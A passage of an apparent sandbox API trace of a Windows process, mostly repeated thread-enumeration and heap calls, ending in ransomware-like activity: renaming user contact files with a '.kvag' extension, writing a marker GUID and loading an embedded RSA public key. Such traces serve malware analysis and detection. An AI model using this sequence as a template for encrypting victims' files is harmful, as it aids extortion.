RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.723] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.723] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.723] GetTickCount () returned 0x1134e30 [0118.723] GetCurrentThreadId () returned 0x614 [0118.724] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.724] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.724] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.724] GetTickCount () returned 0x1134e30 [0118.724] GetCurrentThreadId () returned 0x614 [0118.724] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.724] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.724] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.725] GetTickCount () returned 0x1134e30 [0118.725] GetCurrentThreadId () returned 0x614 [0118.725] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.725] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.725] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.726] GetTickCount () returned 0x1134e30 [0118.726] GetCurrentThreadId () returned 0x614 [0118.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.726] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.726] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.726] GetTickCount () returned 0x1134e30 [0118.726] GetCurrentThreadId () returned 0x614 [0118.726] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.726] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.726] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.727] GetTickCount () returned 0x1134e30 [0118.727] GetCurrentThreadId () returned 0x614 [0118.727] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.727] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.727] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.728] GetTickCount () returned 0x1134e30 [0118.728] GetCurrentThreadId () returned 0x614 [0118.728] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.728] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.728] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.728] GetTickCount () returned 0x1134e30 [0118.728] GetCurrentThreadId () returned 0x614 [0118.729] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.729] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.729] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.729] GetTickCount () returned 0x1134e30 [0118.729] GetCurrentThreadId () returned 0x614 [0118.729] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.729] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.729] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.730] GetTickCount () returned 0x1134e30 [0118.730] GetCurrentThreadId () returned 0x614 [0118.730] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.730] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.730] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.731] GetTickCount () returned 0x1134e30 [0118.731] GetCurrentThreadId () returned 0x614 [0118.731] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.731] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.731] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.731] GetTickCount () returned 0x1134e30 [0118.731] GetCurrentThreadId () returned 0x614 [0118.731] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.731] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.731] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.732] GetTickCount () returned 0x1134e30 [0118.732] GetCurrentThreadId () returned 0x614 [0118.732] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.732] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.732] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.733] GetTickCount () returned 0x1134e30 [0118.733] GetCurrentThreadId () returned 0x614 [0118.733] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.733] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.733] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.734] GetTickCount () returned 0x1134e40 [0118.734] GetCurrentThreadId () returned 0x614 [0118.734] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.734] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.734] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.734] GetTickCount () returned 0x1134e40 [0118.734] GetCurrentThreadId () returned 0x614 [0118.734] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.734] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.734] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.735] GetTickCount () returned 0x1134e40 [0118.735] GetCurrentThreadId () returned 0x614 [0118.735] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.735] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.735] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.736] GetTickCount () returned 0x1134e40 [0118.736] GetCurrentThreadId () returned 0x614 [0118.736] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.736] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.736] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.736] GetTickCount () returned 0x1134e40 [0118.736] GetCurrentThreadId () returned 0x614 [0118.736] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.736] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.737] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.737] GetTickCount () returned 0x1134e40 [0118.737] GetCurrentThreadId () returned 0x614 [0118.737] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.737] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.737] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.738] GetTickCount () returned 0x1134e40 [0118.738] GetCurrentThreadId () returned 0x614 [0118.738] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.738] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.738] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.739] GetTickCount () returned 0x1134e40 [0118.739] GetCurrentThreadId () returned 0x614 [0118.739] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.739] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.739] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.739] GetTickCount () returned 0x1134e40 [0118.739] GetCurrentThreadId () returned 0x614 [0118.739] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.739] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.739] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.740] GetTickCount () returned 0x1134e40 [0118.740] GetCurrentThreadId () returned 0x614 [0118.740] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.740] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.740] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.741] GetTickCount () returned 0x1134e40 [0118.741] GetCurrentThreadId () returned 0x614 [0118.741] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.741] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.741] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.741] GetTickCount () returned 0x1134e40 [0118.741] GetCurrentThreadId () returned 0x614 [0118.741] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.741] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.741] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.742] GetTickCount () returned 0x1134e40 [0118.742] GetCurrentThreadId () returned 0x614 [0118.742] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.742] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.742] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.743] GetTickCount () returned 0x1134e40 [0118.743] GetCurrentThreadId () returned 0x614 [0118.743] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.743] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.743] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.743] GetTickCount () returned 0x1134e40 [0118.743] GetCurrentThreadId () returned 0x614 [0118.743] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.743] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.743] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.744] GetTickCount () returned 0x1134e40 [0118.744] GetCurrentThreadId () returned 0x614 [0118.744] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.744] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.744] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.745] GetTickCount () returned 0x1134e40 [0118.745] GetCurrentThreadId () returned 0x614 [0118.745] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.745] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.745] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.745] GetTickCount () returned 0x1134e40 [0118.745] GetCurrentThreadId () returned 0x614 [0118.746] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.746] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.746] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.746] GetTickCount () returned 0x1134e40 [0118.746] GetCurrentThreadId () returned 0x614 [0118.746] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.746] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.746] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.747] GetTickCount () returned 0x1134e40 [0118.747] GetCurrentThreadId () returned 0x614 [0118.747] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.747] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.747] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.748] GetTickCount () returned 0x1134e40 [0118.748] GetCurrentThreadId () returned 0x614 [0118.748] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.748] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.748] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.748] GetTickCount () returned 0x1134e40 [0118.748] GetCurrentThreadId () returned 0x614 [0118.748] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.748] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.748] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.749] GetTickCount () returned 0x1134e4f [0118.749] GetCurrentThreadId () returned 0x614 [0118.749] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.749] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.749] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.750] GetTickCount () returned 0x1134e4f [0118.750] GetCurrentThreadId () returned 0x614 [0118.750] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.750] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.750] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.751] GetTickCount () returned 0x1134e4f [0118.751] GetCurrentThreadId () returned 0x614 [0118.751] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.751] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.751] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.751] GetTickCount () returned 0x1134e4f [0118.751] GetCurrentThreadId () returned 0x614 [0118.751] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.751] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.751] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.752] GetTickCount () returned 0x1134e4f [0118.752] GetCurrentThreadId () returned 0x614 [0118.752] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.752] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.752] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.753] GetTickCount () returned 0x1134e4f [0118.753] GetCurrentThreadId () returned 0x614 [0118.753] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.753] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.753] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.753] GetTickCount () returned 0x1134e4f [0118.753] GetCurrentThreadId () returned 0x614 [0118.753] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.754] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.754] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.754] GetTickCount () returned 0x1134e4f [0118.754] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.755] GetTickCount () returned 0x1134e4f [0118.755] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.755] GetTickCount () returned 0x1134e4f [0118.755] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.756] GetTickCount () returned 0x1134e4f [0118.756] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.757] GetTickCount () returned 0x1134e4f [0118.757] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.757] GetTickCount () returned 0x1134e4f [0118.757] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.758] GetTickCount () returned 0x1134e4f [0118.758] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.758] GetTickCount () returned 0x1134e4f [0118.758] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.759] GetTickCount () returned 0x1134e4f [0118.759] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.760] GetTickCount () returned 0x1134e4f [0118.760] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.760] GetTickCount () returned 0x1134e4f [0118.760] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.761] GetTickCount () returned 0x1134e4f [0118.761] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.761] GetTickCount () returned 0x1134e4f [0118.762] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.762] GetTickCount () returned 0x1134e4f [0118.762] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.763] GetTickCount () returned 0x1134e4f [0118.763] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.763] GetTickCount () returned 0x1134e4f [0118.763] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.764] GetTickCount () returned 0x1134e4f [0118.764] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.765] GetTickCount () returned 0x1134e5f [0118.765] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.766] GetTickCount () returned 0x1134e5f [0118.766] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.767] GetTickCount () returned 0x1134e5f [0118.767] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.767] GetTickCount () returned 0x1134e5f [0118.767] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.768] GetTickCount () returned 0x1134e5f [0118.768] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.769] GetTickCount () returned 0x1134e5f [0118.769] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.769] GetTickCount () returned 0x1134e5f [0118.769] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.770] GetTickCount () returned 0x1134e5f [0118.770] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.770] GetTickCount () returned 0x1134e5f [0118.770] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.771] GetTickCount () returned 0x1134e5f [0118.771] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.772] GetTickCount () returned 0x1134e5f [0118.772] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.772] GetTickCount () returned 0x1134e5f [0118.772] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.773] GetTickCount () returned 0x1134e5f [0118.773] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.775] GetTickCount () returned 0x1134e5f [0118.775] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.775] GetTickCount () returned 0x1134e5f [0118.775] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.776] GetTickCount () returned 0x1134e5f [0118.776] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.777] GetTickCount () returned 0x1134e5f [0118.777] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.778] GetTickCount () returned 0x1134e5f [0118.778] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.779] GetTickCount () returned 0x1134e5f [0118.779] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.779] GetTickCount () returned 0x1134e5f [0118.835] FreeLibrary (hLibModule=0x76690000) returned 1 [0118.835] QueryPerformanceCounter (in: lpPerformanceCount=0x6a5efa4 | out: lpPerformanceCount=0x6a5efa4*=8707714574) returned 1 [0118.850] GlobalMemoryStatus (in: lpBuffer=0x6a5f414 | out: lpBuffer=0x6a5f414) [0118.851] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x49a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.851] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0118.851] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.851] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0118.851] CloseHandle (hObject=0x61c) returned 1 [0118.852] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.kvag")) returned 1 [0118.854] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0118.854] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned=".contact" [0118.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0118.854] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=68382) returned 1 [0118.854] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0118.858] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.858] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0118.859] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x10b1e, lpOverlapped=0x0) returned 1 [0118.860] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.861] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.861] lstrlenA (lpString="-----BEGIN PUBLIC 